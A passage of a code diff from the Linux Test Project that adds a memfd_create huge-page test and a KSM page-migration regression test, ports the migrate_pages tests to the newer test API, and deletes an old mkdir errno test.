+	{.flag = MFD_HUGE_2GB,     .h_size = "2097152kB"},
+	{.flag = MFD_HUGE_16GB,   .h_size = "16777216kB"},
+};
+
+static void check_hugepage_support(struct test_flag *test_flags)
+{
+	char pattern[64];
+
+	sprintf(pattern, PATH_HUGEPAGES);
+	strcat(pattern, "/hugepages-");
+	strcat(pattern, test_flags->h_size);
+
+	if (access(pattern, F_OK))
+		test_flags->exp_err = ENODEV;
+}
+
+static void memfd_huge_x_controller(unsigned int n)
+{
+	int fd;
+	struct test_flag tflag;
+
+	tflag = test_flags[n];
+	check_hugepage_support(&tflag);
+	tst_res(TINFO,
+		"Attempt to create file using %s huge page size",
+		tflag.h_size);
+
+	fd = sys_memfd_create("tfile", MFD_HUGETLB | tflag.flag);
+	if (fd < 0) {
+		if (errno == tflag.exp_err)
+			tst_res(TPASS, "Test failed as expected\n");
+		else
+			tst_brk(TFAIL | TERRNO,
+				"memfd_create() failed unexpectedly");
+		return;
+	}
+
+	tst_res(TPASS,
+		"memfd_create succeeded for %s page size\n",
+		tflag.h_size);
+}
+
+static void setup(void)
+{
+	if (access(PATH_HUGEPAGES, F_OK))
+		tst_brk(TCONF, "Huge page is not supported");
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test = memfd_huge_x_controller,
+	.tcnt = ARRAY_SIZE(test_flags),
+	.min_kver = "4.14",
+};
diff --git a/testcases/kernel/syscalls/memfd_create/memfd_create_common.c b/testcases/kernel/syscalls/memfd_create/memfd_create_common.c
index f22e3d3..7a84eba 100644
--- a/testcases/kernel/syscalls/memfd_create/memfd_create_common.c
+++ b/testcases/kernel/syscalls/memfd_create/memfd_create_common.c
@@ -129,8 +129,8 @@
 		unsigned int flags)
 {
 	TEST(sys_memfd_create("dummy_call", flags));
-	if (TEST_RETURN < 0) {
-		if (TEST_ERRNO != EINVAL) {
+	if (TST_RET < 0) {
+		if (TST_ERR != EINVAL) {
 			tst_brk_(filename, lineno, TBROK | TTERRNO,
 					"memfd_create() failed");
 		}
@@ -138,7 +138,7 @@
 		return 0;
 	}
 
-	SAFE_CLOSE(TEST_RETURN);
+	SAFE_CLOSE(TST_RET);
 
 	return 1;
 }
@@ -377,8 +377,8 @@
 
 	/* verify write() fails */
 	TEST(write(fd, "data", 4));
-	if (TEST_RETURN < 0) {
-		if (TEST_ERRNO != EPERM) {
+	if (TST_RET < 0) {
+		if (TST_ERR != EPERM) {
 			tst_brk_(filename, lineno, TFAIL | TTERRNO,
 				"write() didn't fail as expected");
 		}
diff --git a/testcases/kernel/syscalls/memmap/.gitignore b/testcases/kernel/syscalls/memmap/.gitignore
new file mode 100644
index 0000000..c4c6844
--- /dev/null
+++ b/testcases/kernel/syscalls/memmap/.gitignore
@@ -0,0 +1 @@
+/mem03
diff --git a/testcases/kernel/syscalls/memset/.gitignore b/testcases/kernel/syscalls/memset/.gitignore
new file mode 100644
index 0000000..c1e9164
--- /dev/null
+++ b/testcases/kernel/syscalls/memset/.gitignore
@@ -0,0 +1 @@
+/memset01
diff --git a/testcases/kernel/syscalls/migrate_pages/.gitignore b/testcases/kernel/syscalls/migrate_pages/.gitignore
new file mode 100644
index 0000000..c095a5d
--- /dev/null
+++ b/testcases/kernel/syscalls/migrate_pages/.gitignore
@@ -0,0 +1,3 @@
+/migrate_pages01
+/migrate_pages02
+/migrate_pages03
diff --git a/testcases/kernel/syscalls/migrate_pages/migrate_pages01.c b/testcases/kernel/syscalls/migrate_pages/migrate_pages01.c
index 01409f3..fa93154 100644
--- a/testcases/kernel/syscalls/migrate_pages/migrate_pages01.c
+++ b/testcases/kernel/syscalls/migrate_pages/migrate_pages01.c
@@ -30,18 +30,12 @@
 #include <sys/wait.h>
 #include <sys/mman.h>
 #include <errno.h>
-#if HAVE_NUMA_H
-#include <numa.h>
-#endif
-#if HAVE_NUMAIF_H
-#include <numaif.h>
-#endif
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <unistd.h>
 #include <pwd.h>
-#include "config.h"
+
 #include "test.h"
 #include "safe_macros.h"
 #include "lapi/syscalls.h"
@@ -55,7 +49,7 @@
 	{NULL, NULL, NULL}
 };
 
-#if defined(HAVE_NUMA_V2) && defined(__NR_migrate_pages)
+#ifdef HAVE_NUMA_V2
 
 static unsigned long *sane_old_nodes;
 static unsigned long *sane_new_nodes;
@@ -253,7 +247,6 @@
 #else
 int main(void)
 {
-	tst_brkm(TCONF, NULL, "System doesn't support __NR_migrate_pages or "
-		 "libnuma or libnuma development packages are not available");
+	tst_brkm(TCONF, NULL, NUMA_ERROR_MSG);
 }
 #endif
diff --git a/testcases/kernel/syscalls/migrate_pages/migrate_pages02.c b/testcases/kernel/syscalls/migrate_pages/migrate_pages02.c
index faf96b6..f5623b1 100644
--- a/testcases/kernel/syscalls/migrate_pages/migrate_pages02.c
+++ b/testcases/kernel/syscalls/migrate_pages/migrate_pages02.c
@@ -34,21 +34,14 @@
 #include <sys/syscall.h>
 #include <sys/wait.h>
 #include <sys/mman.h>
+#include <sys/prctl.h>
 #include <errno.h>
-#if HAVE_NUMA_H
-#include <numa.h>
-#endif
-#if HAVE_NUMAIF_H
-#include <numaif.h>
-#endif
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
 #include <pwd.h>
 
-#include "config.h"
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
 #include "lapi/syscalls.h"
 #include "numa_helper.h"
 #include "migrate_pages_common.h"
@@ -63,21 +56,16 @@
  */
 #define NODE_MIN_FREEMEM (32*1024*1024)
 
-char *TCID = "migrate_pages02";
-int TST_TOTAL = 1;
-
-#if defined(HAVE_NUMA_V2) && defined(__NR_migrate_pages)
+#ifdef HAVE_NUMA_V2
 
 static const char nobody_uid[] = "nobody";
 static struct passwd *ltpuser;
 static int *nodes, nodeA, nodeB;
 static int num_nodes;
 
-static void setup(void);
-static void cleanup(void);
-
-option_t options[] = {
-	{NULL, NULL, NULL}
+static const char * const save_restore[] = {
+	"?/proc/sys/kernel/numa_balancing",
+	NULL,
 };
 
 static void print_mem_stats(pid_t pid, int node)
@@ -88,7 +76,7 @@
 	if (pid == 0)
 		pid = getpid();
 
-	tst_resm(TINFO, "mem_stats pid: %d, node: %d", pid, node);
+	tst_res(TINFO, "mem_stats pid: %d, node: %d", pid, node);
 
 	/* dump pid's VM info */
 	sprintf(s, "cat /proc/%d/status", pid);
@@ -98,7 +86,7 @@
 
 	/* dump node free mem */
 	node_size = numa_node_size64(node, &freep);
-	tst_resm(TINFO, "Node id: %d, size: %lld, free: %lld",
+	tst_res(TINFO, "Node id: %d, size: %lld, free: %lld",
 		 node, node_size, freep);
 }
 
@@ -108,12 +96,12 @@
 	unsigned long *old_nodes, *new_nodes;
 	int i;
 
-	tst_resm(TINFO, "pid(%d) migrate pid %d to node -> %d",
+	tst_res(TINFO, "pid(%d) migrate pid %d to node -> %d",
 		 getpid(), pid, node);
 	max_node = LTP_ALIGN(get_max_node(), sizeof(unsigned long)*8);
 	nodemask_size = max_node / 8;
-	old_nodes = SAFE_MALLOC(NULL, nodemask_size);
-	new_nodes = SAFE_MALLOC(NULL, nodemask_size);
+	old_nodes = SAFE_MALLOC(nodemask_size);
+	new_nodes = SAFE_MALLOC(nodemask_size);
 
 	memset(old_nodes, 0, nodemask_size);
 	memset(new_nodes, 0, nodemask_size);
@@ -121,20 +109,21 @@
 		set_bit(old_nodes, nodes[i], 1);
 	set_bit(new_nodes, node, 1);
 
-	TEST(ltp_syscall(__NR_migrate_pages, pid, max_node, old_nodes,
+	TEST(tst_syscall(__NR_migrate_pages, pid, max_node, old_nodes,
 		new_nodes));
-	if (TEST_RETURN != 0) {
-		if (TEST_RETURN < 0)
-			tst_resm(TFAIL | TERRNO, "migrate_pages failed "
-				 "ret: %ld, ", TEST_RETURN);
-		else
-			tst_resm(TINFO, "migrate_pages could not migrate all "
-				 "pages, not migrated: %ld", TEST_RETURN);
-		print_mem_stats(pid, node);
+	if (TST_RET != 0) {
+		if (TST_RET < 0) {
+			tst_res(TFAIL | TERRNO, "migrate_pages failed "
+				 "ret: %ld, ", TST_RET);
+			print_mem_stats(pid, node);
+		} else {
+			tst_res(TINFO, "migrate_pages could not migrate all "
+				 "pages, not migrated: %ld", TST_RET);
+		}
 	}
 	free(old_nodes);
 	free(new_nodes);
-	return TEST_RETURN;
+	return TST_RET;
 }
 
 static int addr_on_node(void *addr)
@@ -142,10 +131,10 @@
 	int node;
 	int ret;
 
-	ret = ltp_syscall(__NR_get_mempolicy, &node, NULL, (unsigned long)0,
+	ret = tst_syscall(__NR_get_mempolicy, &node, NULL, (unsigned long)0,
 		      (unsigned long)addr, MPOL_F_NODE | MPOL_F_ADDR);
 	if (ret == -1) {
-		tst_resm(TBROK | TERRNO, "error getting memory policy "
+		tst_res(TBROK | TERRNO, "error getting memory policy "
 			 "for page %p", addr);
 	}
 	return node;
@@ -157,173 +146,137 @@
 
 	node = addr_on_node(addr);
 	if (node == exp_node) {
-		tst_resm(TPASS, "pid(%d) addr %p is on expected node: %d",
+		tst_res(TPASS, "pid(%d) addr %p is on expected node: %d",
 			 getpid(), addr, exp_node);
-		return 0;
+		return TPASS;
 	} else {
-		tst_resm(TFAIL, "pid(%d) addr %p not on expected node: %d "
+		tst_res(TFAIL, "pid(%d) addr %p not on expected node: %d "
 			 ", expected %d", getpid(), addr, node, exp_node);
 		print_mem_stats(0, exp_node);
-		return 1;
+		return TFAIL;
 	}
 }
 
 static void test_migrate_current_process(int node1, int node2, int cap_sys_nice)
 {
-	char *testp, *testp2;
-	int ret, status;
+	char *private, *shared;
+	int ret;
 	pid_t child;
 
 	/* parent can migrate its non-shared memory */
-	tst_resm(TINFO, "current_process, cap_sys_nice: %d", cap_sys_nice);
-	testp = SAFE_MALLOC(NULL, getpagesize());
-	testp[0] = 0;
-	tst_resm(TINFO, "private anonymous: %p", testp);
+	tst_res(TINFO, "current_process, cap_sys_nice: %d", cap_sys_nice);
+	private =  SAFE_MMAP(NULL, getpagesize(), PROT_READ | PROT_WRITE,
+		MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
+	private[0] = 0;
+	tst_res(TINFO, "private anonymous: %p", private);
+
 	migrate_to_node(0, node2);
-	check_addr_on_node(testp, node2);
+	check_addr_on_node(private, node2);
 	migrate_to_node(0, node1);
-	check_addr_on_node(testp, node1);
-	free(testp);
+	check_addr_on_node(private, node1);
+	SAFE_MUNMAP(private, getpagesize());
 
 	/* parent can migrate shared memory with CAP_SYS_NICE */
-	testp2 = mmap(NULL, getpagesize(), PROT_READ | PROT_WRITE,
+	shared = SAFE_MMAP(NULL, getpagesize(), PROT_READ | PROT_WRITE,
 		      MAP_ANONYMOUS | MAP_SHARED, 0, 0);
-	if (testp2 == MAP_FAILED)
-		tst_brkm(TBROK | TERRNO, cleanup, "mmap failed");
-	testp2[0] = 1;
-	tst_resm(TINFO, "shared anonymous: %p", testp2);
+	shared[0] = 1;
+	tst_res(TINFO, "shared anonymous: %p", shared);
 	migrate_to_node(0, node2);
-	check_addr_on_node(testp2, node2);
+	check_addr_on_node(shared, node2);
 
 	/* shared mem is on node2, try to migrate in child to node1 */
 	fflush(stdout);
-	child = fork();
-	switch (child) {
-	case -1:
-		tst_brkm(TBROK | TERRNO, cleanup, "fork");
-		break;
-	case 0:
-		tst_resm(TINFO, "child shared anonymous, cap_sys_nice: %d",
+	child = SAFE_FORK();
+	if (child == 0) {
+		tst_res(TINFO, "child shared anonymous, cap_sys_nice: %d",
 			 cap_sys_nice);
-		testp = SAFE_MALLOC(NULL, getpagesize());
-		testp[0] = 1;
-		testp2[0] = 1;
+		private =  SAFE_MMAP(NULL, getpagesize(),
+			PROT_READ | PROT_WRITE,
+			MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
+		private[0] = 1;
+		shared[0] = 1;
 		if (!cap_sys_nice)
-			SAFE_SETEUID(NULL, ltpuser->pw_uid);
+			SAFE_SETEUID(ltpuser->pw_uid);
 
 		migrate_to_node(0, node1);
 		/* child can migrate non-shared memory */
-		ret = check_addr_on_node(testp, node1);
+		ret = check_addr_on_node(private, node1);
 
-		free(testp);
-		munmap(testp2, getpagesize());
 		exit(ret);
-	default:
-		SAFE_WAITPID(cleanup, child, &status, 0);
-		if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
-			tst_resm(TFAIL, "child returns %d", status);
-		if (cap_sys_nice)
-			/* child can migrate shared memory only
-			 * with CAP_SYS_NICE */
-			check_addr_on_node(testp2, node1);
-		else
-			check_addr_on_node(testp2, node2);
-		munmap(testp2, getpagesize());
 	}
+
+	SAFE_WAITPID(child, NULL, 0);
+	if (cap_sys_nice)
+		/* child can migrate shared memory only
+		 * with CAP_SYS_NICE */
+		check_addr_on_node(shared, node1);
+	else
+		check_addr_on_node(shared, node2);
+	SAFE_MUNMAP(shared, getpagesize());
 }
 
 static void test_migrate_other_process(int node1, int node2, int cap_sys_nice)
 {
-	char *testp;
-	int status, ret, tmp;
-	pid_t child;
-	int child_ready[2];
-	int pages_migrated[2];
+	char *private;
+	int ret;
+	pid_t child1, child2;
 
-	/* setup pipes to synchronize child/parent */
-	if (pipe(child_ready) == -1)
-		tst_resm(TBROK | TERRNO, "pipe #1 failed");
-	if (pipe(pages_migrated) == -1)
-		tst_resm(TBROK | TERRNO, "pipe #2 failed");
-
-	tst_resm(TINFO, "other_process, cap_sys_nice: %d", cap_sys_nice);
+	tst_res(TINFO, "other_process, cap_sys_nice: %d", cap_sys_nice);
 
 	fflush(stdout);
-	child = fork();
-	switch (child) {
-	case -1:
-		tst_brkm(TBROK | TERRNO, cleanup, "fork");
-		break;
-	case 0:
-		close(child_ready[0]);
-		close(pages_migrated[1]);
-
-		testp = SAFE_MALLOC(NULL, getpagesize());
-		testp[0] = 0;
+	child1 = SAFE_FORK();
+	if (child1 == 0) {
+		private =  SAFE_MMAP(NULL, getpagesize(),
+			PROT_READ | PROT_WRITE,
+			MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
+		private[0] = 0;
 
 		/* make sure we are on node1 */
 		migrate_to_node(0, node1);
-		check_addr_on_node(testp, node1);
+		check_addr_on_node(private, node1);
 
-		SAFE_SETEUID(NULL, ltpuser->pw_uid);
+		SAFE_SETUID(ltpuser->pw_uid);
 
-		/* signal parent it's OK to migrate child and wait */
-		if (write(child_ready[1], &tmp, 1) != 1)
-			tst_brkm(TBROK | TERRNO, NULL, "write #1 failed");
-		if (read(pages_migrated[0], &tmp, 1) != 1)
-			tst_brkm(TBROK | TERRNO, NULL, "read #1 failed");
+		/* commit_creds() will clear dumpable, restore it */
+		if (prctl(PR_SET_DUMPABLE, 1))
+			tst_brk(TBROK | TERRNO, "prctl");
 
-		/* parent can migrate child process with same euid */
-		/* parent can migrate child process with CAP_SYS_NICE */
-		ret = check_addr_on_node(testp, node2);
+		/* signal child2 it's OK to migrate child1 and wait */
+		TST_CHECKPOINT_WAKE(0);
+		TST_CHECKPOINT_WAIT(1);
 
-		free(testp);
-		close(child_ready[1]);
-		close(pages_migrated[0]);
+		/* child2 can migrate child1 process if it's privileged */
+		/* child2 can migrate child1 process if it has same uid */
+		ret = check_addr_on_node(private, node2);
+
 		exit(ret);
-	default:
-		close(child_ready[1]);
-		close(pages_migrated[0]);
-
-		if (!cap_sys_nice)
-			SAFE_SETEUID(NULL, ltpuser->pw_uid);
-
-		/* wait until child is ready on node1, then migrate and
-		 * signal to check current node */
-		if (read(child_ready[0], &tmp, 1) != 1)
-			tst_brkm(TBROK | TERRNO, NULL, "read #2 failed");
-		migrate_to_node(child, node2);
-		if (write(pages_migrated[1], &tmp, 1) != 1)
-			tst_brkm(TBROK | TERRNO, NULL, "write #2 failed");
-
-		SAFE_WAITPID(cleanup, child, &status, 0);
-		if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
-			tst_resm(TFAIL, "child returns %d", status);
-		close(child_ready[0]);
-		close(pages_migrated[1]);
-
-		/* reset euid, so this testcase can be used in loop */
-		if (!cap_sys_nice)
-			SAFE_SETEUID(NULL, 0);
 	}
+
+	fflush(stdout);
+	child2 = SAFE_FORK();
+	if (child2 == 0) {
+		if (!cap_sys_nice)
+			SAFE_SETUID(ltpuser->pw_uid);
+
+		/* wait until child1 is ready on node1, then migrate and
+		 * signal to check current node */
+		TST_CHECKPOINT_WAIT(0);
+		migrate_to_node(child1, node2);
+		TST_CHECKPOINT_WAKE(1);
+
+		exit(TPASS);
+	}
+
+	SAFE_WAITPID(child1, NULL, 0);
+	SAFE_WAITPID(child2, NULL, 0);
 }
 
-int main(int argc, char *argv[])
+static void run(void)
 {
-	int lc;
-
-	tst_parse_opts(argc, argv, options, NULL);
-
-	setup();
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		test_migrate_current_process(nodeA, nodeB, 1);
-		test_migrate_current_process(nodeA, nodeB, 0);
-		test_migrate_other_process(nodeA, nodeB, 1);
-		test_migrate_other_process(nodeA, nodeB, 0);
-	}
-	cleanup();
-	tst_exit();
+	test_migrate_current_process(nodeA, nodeB, 1);
+	test_migrate_current_process(nodeA, nodeB, 0);
+	test_migrate_other_process(nodeA, nodeB, 1);
+	test_migrate_other_process(nodeA, nodeB, 0);
 }
 
 static void setup(void)
@@ -332,22 +285,22 @@
 	int pagesize = getpagesize();
 	void *p;
 
-	tst_require_root();
-	TEST(ltp_syscall(__NR_migrate_pages, 0, 0, NULL, NULL));
+	tst_syscall(__NR_migrate_pages, 0, 0, NULL, NULL);
 
 	if (numa_available() == -1)
-		tst_brkm(TCONF, NULL, "NUMA not available");
+		tst_brk(TCONF, "NUMA not available");
 
 	ret = get_allowed_nodes_arr(NH_MEMS, &num_nodes, &nodes);
 	if (ret < 0)
-		tst_brkm(TBROK | TERRNO, NULL, "get_allowed_nodes(): %d", ret);
+		tst_brk(TBROK | TERRNO, "get_allowed_nodes(): %d", ret);
 
 	if (num_nodes < 2)
-		tst_brkm(TCONF, NULL, "at least 2 allowed NUMA nodes"
+		tst_brk(TCONF, "at least 2 allowed NUMA nodes"
 			 " are required");
 	else if (tst_kvercmp(2, 6, 18) < 0)
-		tst_brkm(TCONF, NULL, "2.6.18 or greater kernel required");
+		tst_brk(TCONF, "2.6.18 or greater kernel required");
 
+	FILE_PRINTF("/proc/sys/kernel/numa_balancing", "0");
 	/*
 	 * find 2 nodes, which can hold NODE_MIN_FREEMEM bytes
 	 * The reason is that:
@@ -383,26 +336,23 @@
 	}
 
 	if (nodeA == -1 || nodeB == -1)
-		tst_brkm(TCONF, NULL, "at least 2 NUMA nodes with "
+		tst_brk(TCONF, "at least 2 NUMA nodes with "
 			 "free mem > %d are needed", NODE_MIN_FREEMEM);
-	tst_resm(TINFO, "Using nodes: %d %d", nodeA, nodeB);
+	tst_res(TINFO, "Using nodes: %d %d", nodeA, nodeB);
 
 	ltpuser = getpwnam(nobody_uid);
 	if (ltpuser == NULL)
-		tst_brkm(TBROK | TERRNO, NULL, "getpwnam failed");
-
-	TEST_PAUSE;
+		tst_brk(TBROK | TERRNO, "getpwnam failed");
 }
 
-static void cleanup(void)
-{
-	free(nodes);
-}
-
+static struct tst_test test = {
+	.needs_root = 1,
+	.needs_checkpoints = 1,
+	.forks_child = 1,
+	.test_all = run,
+	.setup = setup,
+	.save_restore = save_restore,
+};
 #else
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "System doesn't support __NR_migrate_pages or "
-		 "libnuma or libnuma development packages are not available");
-}
+TST_TEST_TCONF(NUMA_ERROR_MSG);
 #endif
diff --git a/testcases/kernel/syscalls/migrate_pages/migrate_pages03.c b/testcases/kernel/syscalls/migrate_pages/migrate_pages03.c
new file mode 100644
index 0000000..ecfc552
--- /dev/null
+++ b/testcases/kernel/syscalls/migrate_pages/migrate_pages03.c
@@ -0,0 +1,151 @@
+/*
+ * Copyright (c) 2017 FUJITSU LIMITED. All rights reserved.
+ * Author(s): Xiao Yang <yangx.jy@cn.fujitsu.com>
+ *            Jie Fei <feij.fnst@cn.fujitsu.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program, if not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*
+ * Description:
+ * This is a regression test for ksm page migration which is miscalculated.
+ *
+ * The kernel bug has been fixed by:
+ *
+ * commit 4b0ece6fa0167b22c004ff69e137dc94ee2e469e
+ * Author: Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>
+ * Date:   Fri Mar 31 15:11:44 2017 -0700
+ *
+ *     mm: migrate: fix remove_migration_pte() for ksm pages
+ */
+
+#include <errno.h>
+#include <unistd.h>
+#include <stdlib.h>
+
+#include "tst_test.h"
+#include "lapi/syscalls.h"
+#include "lapi/mmap.h"
+#include "ksm_helper.h"
+#include "numa_helper.h"
+#include "migrate_pages_common.h"
+
+#ifdef HAVE_NUMA_V2
+#define N_PAGES 20
+#define N_LOOPS 600
+#define TEST_NODES 2
+
+static int orig_ksm_run = -1;
+static unsigned int page_size;
+static void *test_pages[N_PAGES];
+static int num_nodes, max_node;
+static int *nodes;
+static unsigned long *new_nodes[2];
+
+static void setup(void)
+{
+	int n;
+	unsigned long nodemask_size;
+
+	if (access(PATH_KSM, F_OK))
+		tst_brk(TCONF, "KSM configuration was not enabled");
+
+	if (get_allowed_nodes_arr(NH_MEMS, &num_nodes, &nodes) < 0)
+		tst_brk(TBROK | TERRNO, "get_allowed_nodes() failed");
+
+	if (num_nodes < TEST_NODES) {
+		tst_brk(TCONF, "requires NUMA with at least %d node",
+			TEST_NODES);
+	}
+
+	max_node = LTP_ALIGN(get_max_node(), sizeof(unsigned long) * 8);
+	nodemask_size = max_node / 8;
+	new_nodes[0] = SAFE_MALLOC(nodemask_size);
+	new_nodes[1] = SAFE_MALLOC(nodemask_size);
+	memset(new_nodes[0], 0, nodemask_size);
+	memset(new_nodes[1], 0, nodemask_size);
+	set_bit(new_nodes[0], nodes[0], 1);
+	set_bit(new_nodes[1], nodes[1], 1);
+
+	page_size = getpagesize();
+
+	for (n = 0; n < N_PAGES; n++) {
+		test_pages[n] = SAFE_MMAP(NULL, page_size, PROT_READ | PROT_WRITE | PROT_EXEC,
+					  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+		if (madvise(test_pages[n], page_size, MADV_MERGEABLE)) {
+			if (errno == EINVAL) {
+				tst_brk(TCONF | TERRNO, "madvise() didn't "
+					"support MADV_MERGEABLE");
+			}
+
+			tst_brk(TBROK | TERRNO,
+				"madvise(MADV_MERGEABLE) failed");
+		}
+
+		if (mbind(test_pages[n], page_size, MPOL_BIND, new_nodes[0],
+			  max_node, 0))
+			tst_brk(TBROK | TERRNO, "mbind(MPOL_BIND) failed");
+
+		memset(test_pages[n], 0, page_size);
+	}
+
+	SAFE_FILE_SCANF(PATH_KSM "run", "%d", &orig_ksm_run);
+	SAFE_FILE_PRINTF(PATH_KSM "run", "%d", 1);
+	wait_ksmd_full_scan();
+}
+
+static void cleanup(void)
+{
+	int n;
+
+	for (n = 0; n < N_PAGES; n++) {
+		if (test_pages[n])
+			SAFE_MUNMAP(test_pages[n], page_size);
+	}
+
+	free(new_nodes[0]);
+	free(new_nodes[1]);
+
+	if (orig_ksm_run != -1)
+		SAFE_FILE_PRINTF(PATH_KSM "run", "%d", orig_ksm_run);
+}
+
+static void migrate_test(void)
+{
+	int loop, i, ret;
+
+	for (loop = 0; loop < N_LOOPS; loop++) {
+		i = loop % 2;
+		ret = tst_syscall(__NR_migrate_pages, 0, max_node,
+				   new_nodes[i], new_nodes[i ? 0 : 1]);
+		if (ret < 0) {
+			tst_res(TFAIL | TERRNO, "migrate_pages() failed");
+			return;
+		}
+	}
+
+	tst_res(TPASS, "migrate_pages() passed");
+}
+
+static struct tst_test test = {
+	.min_kver = "2.6.32",
+	.needs_root = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = migrate_test,
+};
+
+#else
+	TST_TEST_TCONF("require libnuma >= 2 and it's development packages");
+#endif
diff --git a/testcases/kernel/syscalls/mincore/.gitignore b/testcases/kernel/syscalls/mincore/.gitignore
new file mode 100644
index 0000000..fdb2070
--- /dev/null
+++ b/testcases/kernel/syscalls/mincore/.gitignore
@@ -0,0 +1,2 @@
+/mincore01
+/mincore02
diff --git a/testcases/kernel/syscalls/mkdir/.gitignore b/testcases/kernel/syscalls/mkdir/.gitignore
new file mode 100644
index 0000000..880ff50
--- /dev/null
+++ b/testcases/kernel/syscalls/mkdir/.gitignore
@@ -0,0 +1,5 @@
+/mkdir02
+/mkdir03
+/mkdir04
+/mkdir05
+/mkdir09
diff --git a/testcases/kernel/syscalls/mkdir/mkdir01.c b/testcases/kernel/syscalls/mkdir/mkdir01.c
deleted file mode 100644
index 9839a09..0000000
--- a/testcases/kernel/syscalls/mkdir/mkdir01.c
+++ /dev/null
@@ -1,238 +0,0 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
- */
-/* $Id: mkdir01.c,v 1.7 2009/03/23 13:35:54 subrata_modak Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: mkdir01
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic errno test for mkdir(2)
- *
- *    PARENT DOCUMENT	: mkstds02
- *
- *    TEST CASE TOTAL	: 2
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: Bill Branum
- *
- *    CO-PILOT		: Kathy Olmsted
- *
- *    DATE STARTED	: 4/15/92
- *
- *    INITIAL RELEASE	: UNICOS 7.0
- *
- *    TEST CASES
- *
- * 	mkdir(2) test for errno(s) EFAULT.
- *
- *    INPUT SPECIFICATIONS
- * 	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    DURATION
- * 	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    ENVIRONMENTAL NEEDS
- *      No run-time environmental needs.
- *
- *    DETAILED DESCRIPTION
- *	This test will verify that mkdir(2) returns a value of
- *	-1 and sets errno to EFAULT when the path argument points
- *	outside (above/below) the allocated address space of the
- *	process.
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Create and make current a temporary directory.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno.
- *        If doing functional test
- *            check the errno returned and print result message
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *	  Remove the temporary directory.
- *	  Exit.
- *
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
-
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include "test.h"
-
-void setup();
-void cleanup();
-
-char *TCID = "mkdir01";
-int TST_TOTAL = 2;
-
-char *bad_addr = 0;
-
-int main(int ac, char **av)
-{
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * TEST CASE: 1
-		 * mkdir() call with pointer below allocated address space.
-		 */
-
-		/* Call mkdir(2) */
-		TEST(mkdir(bad_addr, 0777));
-
-		/* check return code */
-		if (TEST_RETURN == -1) {
-		}
-
-		if (TEST_RETURN == -1) {
-			if (TEST_ERRNO == EFAULT) {
-				tst_resm(TPASS,
-					 "mkdir - path argument pointing below allocated address space failed as expected with errno %d : %s",
-					 TEST_ERRNO,
-					 strerror(TEST_ERRNO));
-			} else {
-				tst_resm(TFAIL,
-					 "mkdir - path argument pointing below allocated address space failed with errno %d : %s but expected %d (EFAULT)",
-					 TEST_ERRNO,
-					 strerror(TEST_ERRNO), EFAULT);
-			}
-		} else {
-			tst_resm(TFAIL,
-				 "mkdir - path argument pointing below allocated address space succeeded unexpectedly.");
-
-		}
-#if !defined(UCLINUX)
-		/*
-		 * TEST CASE: 2
-		 * mkdir() call with pointer above allocated address space.
-		 */
-
-		/* Call mkdir(2) */
-		TEST(mkdir(get_high_address(), 0777));
-
-		/* check return code */
-		if (TEST_RETURN == -1) {
-		}
-
